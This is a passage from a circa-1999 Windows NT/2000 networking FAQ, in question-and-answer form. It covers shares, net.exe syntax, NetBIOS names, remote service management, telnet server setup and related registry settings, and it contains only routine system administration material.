A. From a Windows NT Server machine a share can be created by opening Server Manager, highlight the target system, select Computer, Shared Directories, and click on New Share.

The Windows NT Resource kit comes with a utility called RMTSHARE.EXE and this can be used to create shares on other machines providing you have sufficient privilege. The basic syntax is as follows

rmtshare \\<computer name>\"<share name to be created>"="<path>" /remark="<share description>"
e.g. rmtshare \\savillmain\miscfiles=d:\files\misc /remark="General files"

You only need to use double quotes around the share to be created and the path if there are spaces in the share/file name, e.g. if the share was to be called misc files instead of miscfiles it would have to be in quotes, e.g.

rmtshare \\savillmain\"misc files"="d:\my files\misc" /remark="With space share"

There is also a wizard to share and administer your NT server c:\%systemroot%\system32\wizmgr.exe.

Remember share names cannot contain the " / \ [ ] : | < > + ; , ? * = characters.


Q. I get errors accessing a Windows NT FTP Server from a non Internet Explorer browser.

A. If you run the Microsoft FTP Server Service then you may find problems accessing an area other than the root from a non Internet Explorer browser. This is because most other FTP Servers use the UNIX type naming conventions and that is what browsers such as Netscape expect, however the Microsoft FTP service outputs using dos naming conventions. This can be resolved by forcing the FTP server service to use Unix conventions rather than dos

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ftpsvc\Parameters
  3. If the value MsdosDirOutput exists double click on it and set it to 0, click OK
  4. If it does not exist from the Edit menu select New - DWord value and enter the name MsdosDirOutput and click OK, then perform step 3

You will need to stop and start the FTP server service for this change to take effect (Start - Settings - Control Panel - Services - FTP Service - stop - start)


Q. How can I view which machines are acting as browse masters?

A. There are 2 utilities shipped with the NT resource kit (one GUI, on command line) which can be used to view current browse master status.

BROWMON.EXE - Select from the Diagnostics Resource Kit menu. The master browser will then be displayed for each domain. Double clicking on a machine will then list the other machines that are browsers and a subsequent double click on these machines will tell their status, e.g. backup browser.

BROWSTAT.EXE - Start a command session. There are a number of commands that can be used, however to get a general view enter the command
browstat status <domain name>
Browsing is active on domain.
Master browser name is: PDC
Master browser is running build 1381
2 backup servers retrieved from master PDC
\\PDC
\\WORKSTATION

As can be seen the master browser name is shown, as are backup servers.


Q. Is there any way to improve the performance of my modem internet connection?

A. By default, NT will use a Maximum Transmission Unit (MTU) (packet size) over the path to a remote host of 576. Problems can arise if the data is sent over routes etc that cannot handle data of this size and the packets get fragmented.

The parameter EnablePMTUDiscovery set to 1 forces NT to discover the maximum MTU of all connections that are not on the local subnet. To change this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
  3. From the Edit menu select New-DWord value
  4. Enter a name of EnablePMTUDiscovery and press enter
  5. Double click on this new value and set to 1 then click OK
  6. Close the registry editor and reboot the machine.

By discovering the Path MTU and limiting TCP segments to this size, TCP can eliminate fragmentation at routers along the path that connect networks with different MTUs. Fragmentation adversely affects TCP throughput and network congestion.


Q. How can I remotely tell who is logged on at a machine?

A. The easiest way to do this is to use the NBTSTAT command. There are two ways to use this command depending on if you know the machines name or just its IP address. If you know the machines name enter the command

nbtstat -a <machine name>
e.g. nbtstat -a pdc

The output will be of the format:

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
PDC <00> UNIQUE Registered
PDC <20> UNIQUE Registered
SAVILLTECH <00> GROUP Registered
SAVILLTECH <1C> GROUP Registered
SAVILLTECH <1B> UNIQUE Registered
SAVILLTECH <1E> GROUP Registered
PDC <03> UNIQUE Registered
SAVILLJ <03> UNIQUE Registered
SAVILLTECH <1D> UNIQUE Registered
INet~Services <1C> GROUP Registered
..__MSBROWSE__.<01> GROUP Registered
IS~PDC.........<00> UNIQUE Registered

MAC Address=00-A0-24-B8-11-F3

The user name is the <03>.

If you only know the IP address use the command

nbtstat -A <IP address>
e.g. nbtstat -A 10.23.23.12

The output is the same and notice we just use a capital A instead of a lowercase a.

This will only work if the remote machine in question is running it's messenger service, otherwise the username is not returned.


Q. How do I remove a NT computer from a domain?

A. The first way would be to logon to the machine you wish to remove from the domain and start the Network Control Panel Applet (Start - Settings - Control Panel - Network or just right click on Network Neighborhood and select properties). Select the Identification tab and click Change. Just enter a different domain or workgroup, you will receive a notice welcoming you to the new domain/workgroup. The problem with this is the machine can still rejoin the domain as its account has not been removed from the domain.

To actually remove the computer account from the domain perform the following:

  1. Logon to the PDC as an Administrator
  2. Start Server Manager (Start - Programs - Administrative Tools - Server Manager)
  3. Select the machine you wish to remove and click Delete (or select "Remove from Domain" from the Computer menu)
  4. Click Yes to the confirmation

Alternatively you can remove a computer from the command line using the Resource Kit utility NETDOM

netdom /Domain:<domain> MEMBER <machine name> /delete
e.g. netdom /Domain:savilltech MEMBER kevinpc /delete

You can use this command from any machine workstation or server as long as you are logged on as an administrator. When you enter the command it will find the PDC and delete, the output is as follows:

Searching PDC for domain SAVILLTECH ...
Found PDC \\PDC
Member \\KEVINPC successfully deleted.


Q. How can I shutdown a number of machines without going to each machine?

A. I have a number of machines setup in my Lab and at the end of an entertaining evening of computing I don't want to have to goto each machine and shut them down so I wrote a small batch file that uses the shutdown.exe resource kit utility. Just enter the following into a file with a .bat extension:

rem Batch file to shutdown local machine and the PDC, BDC
shutdown \\pdc /t:2 /y /c this shuts down a machine called PDC in 2 seconds, repeat with other machine names
shutdown \\bdc /t:2 /y /c this shuts down a machine called BDC in 2 seconds
shutdown /l /y /c /t:5 this line shuts down the local machine in 5 seconds

You can then just right click the file in explorer and drag onto the desktop, release and select "Create shortcut". Clicking this icon will then shutdown all the machines in the file. On a NT Server these shutdowns are not graceful and the users will not be asked to save work if they are not logged on or the machine is locked. If they are logged on then they have the option of saving files (unless a force switch is used).

If you have installed a SP4 or SP5 on Win NT, remote shutdown command will shutdown machine immediately without stopping services (dirty shutdown event ID 6008)


Q. How can I close all network sessions/connections?

A. The command below will close all network sessions

net session /delete


Q. How can I connect to a server using different user accounts?

A. It is possible to specify a user account to use when connecting to a share using the /user switch, e.g.

C:\> net use k: \\server\share /user:domain\user

If you then attempt to connect to the server again with a different username an error will be given. A workaround is to connect to the server using its IP address rather than its NetBIOS name, e.g.

C:\> net use l: \\<ip address>\share /user:domain\user


Q. How do I set the comment for my machine that is displayed in Network Neighborhood?

A. There are 3 ways to set this, from the command line, edit the registry or via the GUI.

The easiest way is via the Server control panel applet

  1. Start the server control panel applet (Start - Settings - Control Panel - Server)
  2. Enter the new description of the machine in the Description field
  3. Click OK

An alternative method is from the command prompt using the "net config" command.

C:\> net config server /srvcomment:"machine comment"

Note that even if you are performing this on a workstation machine you still use "net config server" as this is a configuration on the server service of the machine.

Both of the methods shown update a single registry value so this can also be edited directly.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
  3. Double click on srvcomment
  4. In the "Value data" box enter the new description and click OK
  5. Close the registry editor

This method only works once the Server Service has been restarted, however, both other methods work instantly. This is because the registry area is only read during startup of the service.

You can remotely change the comment of other machines by using the NT Server utility "Server Manager". Double click on a machine and you will then be presented with the same dialog box as with the Server control panel applet. This has the advantage of allowing the Administrator to set a common description format.


Q. How can I define multiple NetBIOS names for a machine?

A. This would be useful if, for instance, you wanted to migrate a number of shares to a different machine and rather than having to switch all clients to the new machine instantly you could define the new machine to also answer to the old machines NetBIOS name and then slowly migrate the machines. To define extra names for a machine perform the following:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_Local_Machine\System\CurrentControlSet\Services\LanmanServer\Parameters
  3. From the Edit menu select "Add Value"
  4. Set the type to REG_SZ is you want one extra name or REG_MULTI_SZ if you want more than one and enter a name of OptionalNames. Click OK
  5. You will then be prompted for a value. Enter the other name (or names if type REG_MULTI_SZ, one on each line) you want it to be known as and click OK.
  6. Close the registry editor
  7. Reboot the machine
  8. There may be a WINS resolution problem. The entries for the additional NetBIOS names will have been dynamically added to the WINS database complete with IP number. However, a "real" server machine in the WINS dbase normally has three WINS entries, 00h, 03h and 20h. Your aliases may only have one, 03h. Therefore you may need to add static entries for the additional NetBIOS names, which created all three entries. You should now be able to ping by NetBIOS name.

There is bug when using multiple NetBIOS names on print servers, see 'Q. The additional NetBIOS name of my server does not work for print services.'


Q. How can I manage my NT domain over the net?

A. Microsoft have released "Web Administrator 2.0 for Microsoft Windows NT Server" which allows you to use to manager the following via the web

  • Account Management
  • Ras Management
  • Share Management
  • Session Management
  • Server Management
  • Printer Management

The additional software required has to be installed on a server (though it does not have to be a domain controller) with

  • Service Pack 3 or later (it does not currently work with the beta versions of Service Pack 4)
  • Internet Information Server 4.0

Internet Information Server 4.0 is available as part of Option Pack 4 which can be obtained from http://www.microsoft.com/windows/downloads/contents/updates/nt40ptpk/default.asp or as part of MSDN. Option Pack 4 has its own requirement that Internet Explorer 4.0 be installed.

Once all the software is installed you can download the Web Admin tools from http://www.microsoft.com/ntserver/nts/downloads/management/NTSWebAdmin/default.asp

To begin the installation just execute the required executable and the installation wizard will begin.

Once the installation is complete you will be able to administer your domain by connecting to http://<the server name>/ntadmin/default.asp. For example if I had installed the software on titanic in the savilltech.com I would connect to http://titanic.savilltech.com/ntadmin/default.asp.

You will need Internet Explorer 4.0 or above to use the site and once connected you can perform a number of options. Below is an example of viewing/changing users.

NT Web Admin

There are some other options but not as complete as the Microsoft product:

  • http://www.patchlink.com/


Q. How can I remotely manage services?

A. The Windows NT Resource kit has two utilities, SC.EXE and NETSVC.EXE, which allow remote services to be managed. The resource kit has help on both on these but we will only look at NETSVC.EXE.

To view the services on a remote machine use

C:\> netsvc /query \\<server name> /list

To see the current state of a service use

C:\> netsvc <service name> \\<server> /query

You can then modify the state of the service using the /start, /stop, /pause and /continue switches, e.g.

C:\> netsvc <service name> \\<server> /stop


Q. Net.exe reference.

A. Below is a summary of all the net.exe usage methods.

net accounts

Used to modify user accounts. Specified on its own will give information about the current logon.

Options:

/forcelogoff:<minutes or no> | Minutes until the user gets logged off after logon hours expire. No means a forced logoff will not occur
/lockoutthreshold:<number of failed attempts> | This parameter allows you to configure the number of failed logon attempts before the account is locked. The range is 1 to 999.
/lockoutduration:<minutes> | This parameter specifies the number of minutes accounts remain locked before automatically becoming unlocked. The range is 1 to 99999.
/lockoutwindow:<minutes> | This parameter lets you configure the maximum number of minutes between two consecutive failed logon attempts before an account is locked. The range is 1 to 99999.
/minpwlen:<length> | Minimum number of characters for the password. Default is 6, valid range is between 0 and 14
/maxpwage:<days> | Maximum number of days a password is valid. Default is 90, valid range is between 0 and 49710
/minpwage:<days> | Number of days that must occur before the password can be changed. Default is 0, valid range is between 0 and maxpwage
/uniquepw:<number> | Password may not be reused for number attempts
/sync | Forces a domain sync
/domain | Performs any of the above actions on the domain controller

net computer

Used to add and remove computer accounts from the domain.

Options:

\\<computer name> | Name of the computer to be added or removed
/add | Add the specified computer
/del | Removes the specified computer

net config server

Allows modifications to the server service. Entered with no parameters give details of the current configuration

Options:

/autodisconnect:<minutes> | Number of minutes an account may be inactive before disconnection. Default is 15, valid range between 1 and 65535. -1 means never disconnected.
/srvcomment:"text" | Set the comment for the machine
/hidden:<yes or no> | Specified is the computer is hidden in the listing of computers

net config workstation

Allows modifications to the workstation service. Entered with no parameters give details of the current configuration

Options:

/charcount:<bytes> | Number of bytes to be collected before data is sent. The default is 16, valid range is between 0 and 65535.
/chartime:<msec> | Number of milliseconds NT waits before sending data. If charcount is also set whichever is satisfied first is used. Default is 250, valid range is between 0 and 65535000.
/charwait:<seconds> | Number of seconds NT waits for a communications device to become available. Default is 3600, valid is between 0 and 65535.

net continue <service name>

Restarts the specified paused service.

net file

Lists any files that are open/locked via a network share.

Options:

id | Identification of the file (given by entering net file on its own)
/close | Close the specified lock

See Q. How can I tell who has which files open on a machine? for more details.

net group

Adds/modifies global groups on servers. Without parameters will list global groups.

Syntax:

net group <group name> [/command:"<text>"] [/domain]
net group <group name> [/add [/comment:"<text>"] or /delete] [/domain]
net group <group name> <user name> /add or /delete [/domain]

Options:

groupname | Name of the global group
/comment:"<text>" | Comment if a new global group is created. Up to 48 characters
/domain | Performs the function on the primary domain controller
username | Username to which apply the operation
/add | Adds the specified user to the group or the group to the domain
/delete | Removes a group from a domain or a user from a group

net localgroup

Performs actions on local groups. Same parameters as net group.

net name

Adds/removes a name to which messaging may be directed to. Running the command on its own will list all messaging names eligible on the machine.

Options:

name | The messaging name to be added/removed
/add | Add the name
/delete | Remove the name

net pause <service name>

Used to pause a service from the command line.

net print

Used to list/modify print jobs.

Options:

\\computername | Indicates the computer that hosts the printer queue
sharename | Name of the printer queue
job | The job number to modify
/hold | Pauses a job on the print queue
/release | Removes the hold status of a job on the print queue
/delete | Deletes a job off of the print queue

net send

Sends a message to a computer, user or messaging name.

Options:

name | Name of the user, computer or messaging name. Can also use * to send to everyone in the group
/domain:<domain name> | All users in the current domain or the specified domain
/users | To all users connected to the server
message | The message to send

net session

Lists or disconnects sessions. Used with no options lists the current sessions.

Options:

\\<computer name> | The computer of whose session to close
/delete | Closes the session to the computer specified. Omitting a computer name will close all sessions

net share

Used to manage shares from the command line.

Syntax:

net share <sharename>=<drive>:\<directory> [/users=<number> or /unlimited] [/remark:"text"]
net share <sharename> [/users=<number> or /unlimited] [/remark:"text"]
net share <sharename or device name or drive and path> /delete

Options:

<sharename> | Name of the share
<device name> | Used to specify the printer name if specifying a printer share
<drive>:<path> | Absolute path
/users:<number> | Number of simultaneous connections to the share
/unlimited | Unlimited usage
/remark:"<text>" | Comment for the share
/delete | Delete the specifed share

net start <service name>

Start the specified service

net statistics [workstation or service]

Gives information about either the server or workstation service.

net stop <service name>

Stops the specified service

net time

Used to synchronize the time of a computer.

Options:

\\<computer name> | The name of the computer to which synchronize the time
/domain:<domain> | Synchronize the time with the specified domain
/set | Sets the time

net use

Connects or disconnects to a network share. Used with no qualifiers lists the current network mappings.

Syntax:

net use <device name> or * \\<computer name>\<share name> [password or *] [/user:[domain\user] /delete or [persistent:[yes or no]]
net use <device name> /home /delete or /persistent:[yes or no]

Options:

<device name> | Name of the device to map to. Use * to use the next available device name
\\computer name | The name of the computer controlling the resource
\sharename | Name of the share
\volume | Name of the volume if on a NetWare server
password | Password to which to map
* | Gives a prompt to which to enter the password
/user:<domain>\<user> | Specifies the user to connect as
/home | Connects to a users home directory
/delete | Closes a connection
/persistent:[yes or no> | Sets if the connection should be reconnected at next logon

net user

Used to add/create/modify user accounts

Syntax:

net user <username> [password or *] [/add] [options] [/domain]
net user <username] /delete /domain

username | The name of the account
password | Assigns or changes a password
* | Gives a prompt for the password
/domain | perform on a domain
/add | Creates the account
/delete | Removes the account
/active:[yes or no] | Activates or deactivates the account
/comment:"<text>" | Adds a descriptive comment
/counterycode.nnn | nnn is the number operating system code. Use 0 for the operating systems default
/expires:<date or never> | The expiry date of the account. Date format is mm,dd,yy or dd,mm,yy which is determined by the country code
/fullname:"<name>" | The full name of the account
/homedir:<path> | Path for the users home directory
/passwordchg:[yes or no] | Used to specify if the user can modify the password
/passwordreq:[yes or no] | Used to determine if the account needs a password
/profilepath:<path> | Used to specify the profile path
/scriptpath:<path> | Path of the logon script
/times:<times or all> | Hours user may logon
/usercomment:"<text>" | A comment for the account
/workstations:<machine names> | Names the user may logon to. * means all.

net view

Lists shared resources on a domain. Used with no parameters lists all machine accounts in a domain.

Options:

\\computer name | Specifies the computer whose resource should be viewed
/domain:<domain name> | The domain to be used
/network:<NetWare network> | A NetWare network to be used

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Q. How can I make net.exe use the next available drive letter?

A. The normal syntax to map a network drive is

C:\> net use <drive letter>: \\<server>\<share>

however this can be modified to

C:\> net use * \\<server>\<share>

which will make the net use command utilize the next available drive letter.


Q. How can I check if servers can communicate via RPC's?

A. Exchange ships with RPINGS.EXE and RPINGC32.EXE which can be used to test RPC communication between two servers. These programs are located in the SERVER\SUPPORT\RPCPING directory of the Exchange CD. Test as follows:

  1. On one server start Command (CMD.EXE) and enter
    C:\> RPINGS
  2. On the other server run the RPINGC32.EXE utility
  3. You should then enter the name of the Exchange server to test communication with, e.g. NT4PDC
  4. Click Start

The connection will then be checked. Once complete close the RPINGC32.EXE utility by clicking Exit and on the target machine enter the sequence '@q'.

Below is an example of a successful test.


Q. How can I reduce the delay when using multiple redirectors?

A. The MUP (Multiple UNC Provider) first establishes whether Distributed File System (Dfs) is in use and passes the request to DFS.

The delays come from two locations:

  1. The attempt to access the resource through DFS
  2. The MUP must wait and accept all responses from all redirectors before completing the request. Therefore, even if a resource is readily available and accessible over one redirector, the request must still be made over the other installed redirectors before the request completes.

Depending on the number of redirectors, protocols, and timer configurations for connectivity, these delays can exceed 13 seconds for each initial connection.

Service Pack 4 for Windows NT 4.0 has introduced an updated MUP.SYS giving better performance and a new registry entry which may speed up the initial connect to non-Windows UNC resources, DisableDFS. Perform the following change on each client:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Mup
  3. From the Edit menu select New - DWORD value
  4. Enter a name of 'DisableDFS' (don't enter the quotes) and press enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Reboot the machine

Setting the DisableDFS value to 0 or deleting will set the machine back to its old behaviour.

If you have the Novell IntranetWare client also installed you must also perform the following before rebooting:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetwareWorkstation\NetworkProvider
  3. Double click DeviceName and change from '\Device\NetwareWorkstation' to '\Device\NetwareRedirector'. Click OK
  4. Close the registry editor

Knowledge base article Q171386 at http://support.microsoft.com/support/kb/articles/q171/3/86.asp has more information on this.


Q. How can a DOS machine connect to an NT domain?

A. Microsoft provide software to enable a DOS machine to participate on a network using a variety of protocols and to connect to a Windows NT domain.

NT Server ships with the "Network Client Administrator" which allows the creation of an installation disk set or a disk to allow Network based installation of a variety of clients, including a network client for DOS.

'Q. How do I install NT over the network?' has an example of creating a network installation disk, instead we will concentrate on creating an installation disk set.

  1. Start Network Client Administrator (Start - Programs - Administrative Tools - Network Client Administrator)
  2. Select "Make Installation Disk Set" and click Continue
  3. You will need to specify the location of the "clients" directory that is on the Windows NT Server CD-ROM (easiest to copy clients from the CD-ROM, enter the location in the path box and select Share Files". Click OK
  4. Select the client to install "Network Client v3.0 for MS-DOS and Windows". Select the destination and click OK.
  5. Insert the first disk and click OK to the dialog.
  6. Files will be copied to the disk

To install on a DOS machine you perform the following:

  1. Insert DISK 1
  2. Change to the disk drive, a:
  3. Run setup.exe
  4. Press ENTER to start the installation
  5. Select the installation target directory, by default C:\NET. Press Enter
  6. Select the network adapter from the displayed list or use a custom adapter by selecting "Network adapter now shown on list below". Press Enter. If you are using a custom disk the program looks for protocol.ini, on my test machine I specified the NDIS\WFW directory on the install disk as the DOS directory did not have all the necessary files.
  7. You now have the option of changing the setup, by default only IPX will be installed, select "Change Network Configuration" and you can remove protocols and add the Microsoft TCP/IP protocol. You can then change the TCP/IP settings to configure IP address/subnet mask etc. Make sure if you are not using TCP/IP to set "Disable Automatic Configuration" to 1.
  8. Restart the machine

When the machine reboots it will load all the network and protocol drivers and then attempt to logon to the network by issuing the

net start

command. You will then be asked for a username and password:

Type your user name, or press ENTER if it is ADMINISTRATOR:
Type your password:

You will be asked if you want to create a password file. If you select yes then you will no longer be asked for a password at start-up time, like an auto-logon but be aware it means anyone accessing your computer can logon as you.


Q. Where are Windows 2000 network connections stored in the registry?

A. The Windows 2000 connections consist of entries of not only remote connections such as to your ISP, but also your Local Area Connection and these are contained under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Network\GUID\Connection registry key which GUID is the Globally Unique IDentifier of the connection.

Its just interesting to know as if you have a stray connection which gets corrupted maybe as you remove the network card you can manually remove by editing the registry.


Q. How do I install the loopback adapter in Windows 2000?

A. The loopback adapter is useful for those machines with no network card but would like to experiment with installing network protocols and other network related items. Obviously since there is no physical network connection you cannot talk to other machines.

  1. Start the Add/Remove Hardware control panel applet (Start - Settings - Control Panel - Add/Remove Hardware).
  2. Click 'Add/Troubleshoot a device', and then click Next.
  3. Click 'Add a new device', and then click Next.
  4. Click 'No, I want to select the hardware from a list', and then click Next.
  5. Click 'Network adapters', and then click Next.
  6. In the Manufacturers box, click 'Microsoft'.
  7. In the Network Adapter box, click 'Microsoft Loopback Adapter', and then click Next.
  8. Click Finish.

You should then configure the device with an IP address etc. If you select DHCP it will use an address 169.254.x.x/16 (subnet mask 255.255.0.0) as no DHCP server can be contacted due to the lack of network connectivity.


Q. How can I turn off/on connection ghosting?

A. Windows uses Ghosted connections for when a user doesn’t need or want an actual connection until there is a need for the connection to be utilized. Once the user uses the connection, Windows NT/2000 will make the necessary connection. In some instances, this technique can cause problems; for example, there will be a delay the first time that an inactive, ghosted connection is used.

To turn off the ghosting and eliminate the initial delay when connecting perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider
  3. From the edit menu select New - DWORD value
  4. Enter a name of RestoreConnection and press Enter
  5. Double click the new value, set to:
    0 - Windows NT/2000 will ghost the connections
    1 - Windows NT/2000 will not ghost the connections. Windows will restore connections when the user logs in
  6. Click OK
  7. Close the registry editor
  8. Restart the computer


Q. How can I map to an FTP server as a drive?

A. Its possible to configure a machine to map to a FTP server as a drive (for instance the Microsoft site) providing the machine runs both NetBEUI and TCP/IP. Perform the following:

  1. Perform a NSLOOKUP for the FTP site, e.g.
    nslookup ftp.microsoft.com
    make a note of the IP address
  2. Edit the LMHOSTS file (in %systemroot%\systerm32\drivers\etc)
  3. Add line
    <ip address> MicrosoftFTP #PRE
    e.g. 207.46.133.140 MicrosoftFTP #PRE
  4. Save the file
  5. Open a CMD.EXE session. Enter command:
    nbtstat -R
    This purges and reloads the name table cache
  6. Type command:
    net view \\MicrosoftFTP
    You should see information on the site
  7. Now map a drive (to share data)
    net use * \\MicrosoftFTP\data /user:anonymous
  8. All done. It will pass a drive letter for the connection


Q. How can I create a browse election log file?

A. Using the checked version of RDR.SYS its possible to create a log file of the browser elections so you can monitor exactly what is happening. To turn on the log perform the following:

  1. Back up the original file to replace after troubleshooting by renaming %Systemroot%\System32\Drivers\rdr.sys to %Systemroot%\System32\Drivers\rdr.bak
  2. Place the checked version of rdr.sys in the %systemroot%\system32\drivers directory (you may have to rename from .chk to .sys)
  3. After you replace the original file with the checked version, start the registry editor (regedit.exe)
  4. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rdr\Parameters
  5. From the Edit menu select New - DWORD value and enter a name of BowserDebugLogLevel
  6. Double click the new value and set to ffffffff (in Hex)
  7. From the Edit menu select New - DWORD value and enter a name of BowserDebugTraceLevel
  8. Double click the new value and set to ffffffff (in Hex)
  9. Close the registry editor

Note Yes, its Bowser not Browser. Don't ask me :-)

A log file Bowser.log will be created in the %systemroot% folder. An example content would be:

Bowser::Find_Master: Master not found, forcing election. = Could not find the master browser, so force an election.

Bowser: Last election long enough ago, forcing election on \Device\NetBT_El90x1 = Wait a little while to decrease the chance of a browser storm.

Send true election. = The need to force an election that we think we can win is seen.

Send dummy election. = Force an election that we are not hoping to win, for example, shutting down the browser or because we cannot find a backup browser. The criteria of the election is 0x0.

New server: TITANIC. Periodicity: 240 = A new server (TITANIC) was found in our domain that we need to remember.

#New domain: SAVILLTECH. Periodicity: 900 = A new domain (SAVILLTECH) was found to add to our list of domains.

Domain pass for \Device\NetBT_El90x1 = We are going to search for new domains on the transport \Device\NetBT_El90x1.

Received election packet on net \Device\NetBT_El90x1 from machine TITANIC. Version: 1; Criteria: 20010fa8; TimeUp: 8750 = A computer (named TITANIC) forced an election, on the network transport \Device\NetBT_El90x1, it is running Browser version 1, its criteria is 20010fa8, and it has been up for 8750 seconds.

We lost the election = There was an election and we lost it.

Dummy election request ignored during election. = There is an election in process so we can discard the election packets with the criteria of 0x0.


Q. How do I enable the telnet server in Windows 2000?

A. Windows 2000 includes a telnet service which is installed by default but the service is not automatically started. To start via the GUI perform the following:

  1. Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Manager)
  2. Expand the 'Services and Applications' branch
  3. Select the Services leaf
  4. Right click on 'Telnet' and select Start
  5. You could also right click and select Properties and set the startup type to Automatic so it will always be started. Click OK

To start from the command line use

C:\> net start tlntsvr
The Telnet service is starting..
The Telnet service was started successfully.

The telnet service uses %systemroot%\system32\tlntsvr.exe so if you wanted to stop it being started on a machine you could set an ACL on the image or delete.

Unlike normal Telnet services passwords are not set clear text and are encrypted using NTLM. You need a special client which is provided with Windows 2000 Professional (luckily :-) ).


Q. How do I enable plain text passwords with the telnet server in Windows 2000?

A. Windows 2000 uses NTLM to encrypt passwords sent from telnet for security reasons but not all telnet clients are compatible so its possible to configure the telnet service to not require NTLM as follows:

E:\>tlntadmn

Microsoft (R) Windows 2000 (TM) (Build 2194)
Telnet Server Admin (Build 5.00.99201.1)

Select one of the following options:

0) Quit this application
1) List the current users
2) Terminate a user session ...
3) Display / change registry settings ...
4) Start the service
5) Stop the service

Type an option number [0 - 5] to select that option: 3

Select one of the following options:

0) Exit this menu
1) AllowTrustedDomain
2) AltKeyMapping
3) DefaultDomain
4) DefaultShell
5) LoginScript
6) MaxFailedLogins
7) NTLM
8) TelnetPort
Type an option number [0 - 8] to select that option: 7
Current value of NTLM = 2
Do you want to change this value ? [y/n]y
NTLM [ current value = 2; acceptable values 0, 1 or 2 ] :1
Are you sure you want to set NTLM to : 1 ? [y/n]y

setting will take effect only when Telnet Service is re-started

Select one of the following options:

0) Exit this menu
1) AllowTrustedDomain
2) AltKeyMapping
3) DefaultDomain
4) DefaultShell
5) LoginScript
6) MaxFailedLogins
7) NTLM
8) TelnetPort
Type an option number [0 - 8] to select that option: 0

Select one of the following options:

0) Quit this application
1) List the current users
2) Terminate a user session ...
3) Display / change registry settings ...
4) Start the service
5) Stop the service

Type an option number [0 - 5] to select that option: 0

E:\>net stop tlntsvr
The Telnet service is stopping.
The Telnet service was stopped successfully.

E:\>net start tlntsvr
The Telnet service is starting..
The Telnet service was started successfully.

Now the telnet service will not require NTLM authentication. You can also directly set registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTLM to 1 for the same change.


Q. What is REXEC?

A. Windows NT/2000 ships with a command REXEC.EXE which when used in conjunction with a REXEC daemon (REXECD) can run commands on remote systems, hence the name, Remote EXECution.

C:\>rexec 10.129.210.71 -l john@savtech.com dir
Password (10.129.210.71:):
> rexec:connect:Connection refused
rexec: can't establish connection

The -l is the name to use on the remote system, here I've used the Windows 200 format, name@domain.com, however you could also use the older domain\name format.

Notice in the example the command failed, this is because the remote machine did not have the REXEC daemon installed. This is actually a problem, Windows NT/2000 does not have a REXEC daemon, only the client. REXEC does not only work for NT servers, but also Unix, VMS and anything else that supports REXEC.

There are 3rd party solutions, see 'Q. What REXEC daemons (REXECD) are available for NT/2000? '


Q. What REXEC daemons (REXECD) are available for NT/2000?

A. Microsoft do not provide an EXEC daemon for NT however there are 3rd party solutions:

  • http://www.denicomp.com/rexecnt.htm - Winsock REXECD/NT
  • http://www.ataman.com/products.html#ATRLS - Ataman TCP Remote Logon Services


Q. How do I add a network place in Windows 2000?

A. Windows 2000 adds support for Network places that work in a similar method to mapped drives except they are not mapped as drive letters and are instead accessed via the 'My Network Places' branch of the Desktop.

To add a My Network Place just perform the following:

  1. Start Explorer
  2. Select My Network Places
  3. Double click on the 'Add Network Place' wizard
  4. You will be asked for the location to point to, for example \\titanic\c$ for the C drive of machine titanic.
  5. Click Next
  6. You will then be asked for a description for the new network place, e.g. "C drive on Titanic", click Finish
  7. The new network place will now be listed

The places are actually stored under your user profile in the folder c:\documents and settings\<user name>\NetHood as folder shortcuts.

Click below to view an example network place creation.

Network Place creation


Q. What are the NetBIOS suffixes (16th character)?

A. NetBIOS names are 16 characters long with the 16th character always being a special character identifying the type of name, for example a domain NetBIOS record with 1C as the 16th character is a domain controller (this is how they are located). The full list is as follows:

Name                Number(h)  Type  Usage
--------------------------------------------------------------------------
<computername>         00       U    Workstation Service
<computername>         01       U    Messenger Service
<\\--__MSBROWSE__>     01       G    Master Browser
<computername>         03       U    Messenger Service
<computername>         06       U    RAS Server Service
<computername>         1F       U    NetDDE Service
<computername>         20       U    File Server Service
<computername>         21       U    RAS Client Service
<computername>         22       U    Microsoft Exchange Interchange(MSMail
                                     Connector)
<computername>         23       U    Microsoft Exchange Store
<computername>         24       U    Microsoft Exchange Directory
<computername>         30       U    Modem Sharing Server Service
<computername>         31       U    Modem Sharing Client Service
<computername>         43       U    SMS Clients Remote Control
<computername>         44       U    SMS Administrators Remote Control
                                     Tool
<computername>         45       U    SMS Clients Remote Chat
<computername>         46       U    SMS Clients Remote Transfer
<computername>         4C       U    DEC Pathworks TCPIP service on
                                     Windows NT
<computername>         52       U    DEC Pathworks TCPIP service on
                                     Windows NT
<computername>         87       U    Microsoft Exchange MTA
<computername>         6A       U    Microsoft Exchange IMC
<computername>         BE       U    Network Monitor Agent
<computername>         BF       U    Network Monitor Application
<username>             03       U    Messenger Service
<domain>               00       G    Domain Name
<domain>               1B       U    Domain Master Browser
<domain>               1C       G    Domain Controllers
<domain>               1D       U    Master Browser
<domain>               1E       G    Browser Service Elections
<INet~Services>        1C       G    IIS
<IS~computer name>     00       U    IIS

Where the record is U only one IP address may be assigned, where G its a group and may have multiple IP addresses. M is a multihomed machine (a machine with more than one network card) and I is an Internet group.


Q. How can I stop UNC shares automatically being added to My Network Places?

A. In Windows 2000 if you open a file or web via a UNC name it will automatically be added to the My Network Places area. To stop this happening perform the following:

  1. Click Start, click Run, type mmc.exe, and then click OK.
